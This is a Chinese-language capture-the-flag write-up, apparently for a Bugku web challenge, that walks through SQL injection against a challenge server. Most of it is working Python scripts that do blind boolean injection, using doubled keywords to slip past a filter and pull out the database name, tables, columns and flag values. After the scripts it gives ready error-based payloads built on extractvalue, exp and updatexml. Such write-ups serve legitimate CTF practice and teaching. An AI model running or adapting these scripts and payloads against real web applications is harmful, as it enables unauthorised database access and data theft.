查数据库名

查到数据库名长度为9
查到数据库名为web1002-1

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="[email protected]#$%^&*()_"
out=""
for i in range(1,10):
    print (i)
    for j in a:
        data="' || (substr((selecselectt database()),{0},1)='{1}') || '0".format(i,j)
        ul = url+data
        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print ul
            out=out+j
print out

查数据库表名的长度

长度为10

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_"
out=""
for i in range(1,100):

    for j in '1':
        data="' || (length((selecselectt group_concat(table_name separatoorr '|') from infoorrmation_schema.tables where table_schema='web1002-1'))={0}) || '0".format(i,j)
        ul = url+data
        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print i
            print ul
            out=i
            
print out

查数据表名

得到两个数据表名
flag1|hint

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_|"
out=""
for i in range(1,11):
    print (i)
    for j in a:
        data="' || (substr((selecselectt group_concat(table_name separatoorr '|') from infoorrmation_schema.tables where table_schema='web1002-1'),{0},1)='{1}') || '0".format(i,j)
        ul = url+data

        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print ul
            out=out+j

print out

查flag1表的列名

得到flag有两列
flag1|address

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_|"
out=""
for i in range(1,14):
    print (i)
    for j in a:
        data="' || (substr((selecselectt group_concat(column_name separatoorr '|') from infoorrmation_schema.columns where table_name='flag1'),{0},1)='{1}') || '0".format(i,j)
        ul = url+data

        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print ul
            out=out+j
            

print out

查询flag1列的内容
得到usOwycTju+FTUUzXosjr
题目提示有两个flag
并且全为小写，提交这个不对，尝试查询address的内容

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_|"
out=""
for i in range(1,21):
    print (i)
    for j in range(33,128):
        data="' || (ascii(substr((selecselectt group_concat(flag1 separatoorr '|') from flag1),{0},1))={1}) || '0".format(i,j)
        ul = url+data

        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print chr(j)
            print ul
            out=out+chr(j)
            break

print out

最后得到一个路径

访问./Once_More.php

用length查询过滤的字符，发现union被过滤了，并且双写无法绕过
测试过滤注释符的时候发现有报错，可以尝试报错注入


注释符直接输入#号报错
用%23代替绕过（如上图）
用-- ;注释
用 --+注释
构造闭合单引号 1’ and length(‘a’) and '1

尝试报错注入
extractvalue报错注入

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- ;

exp报错注入

1' and exp(~(select * from (select database() ) a) ) --+

updatexml报错注入

1' and (updatexml(1,concat(0x3a,(select database())),1)) and '1

存在注入，下面是注入过程
查询表名，得到当前数据库有2个表，—class,flag2
1’ and exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database() ) a) ) and ‘1

查询表的字段，这里查询flag2的字段
得到flag2和address两个字段
id=1’ and exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name=‘flag2’ ) a) ) and ‘1

查询flag2表的flag2字段的内容
得到flag（flag{Bugku-sql_6s-2i-4t-bug}）将大写改为小写
1’ and exp(~(select * from (select group_concat(flag2) from flag2 ) a) ) and '1

查询当前数据库存在的所有表名
1' and exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database() ) a) ) and '1
查询flag2表的所有字段
id=1' and exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name='flag2' ) a) ) and '1 
查询flag2表的内容
1' and exp(~(select * from (select group_concat(flag2) from flag2 ) a) ) and '1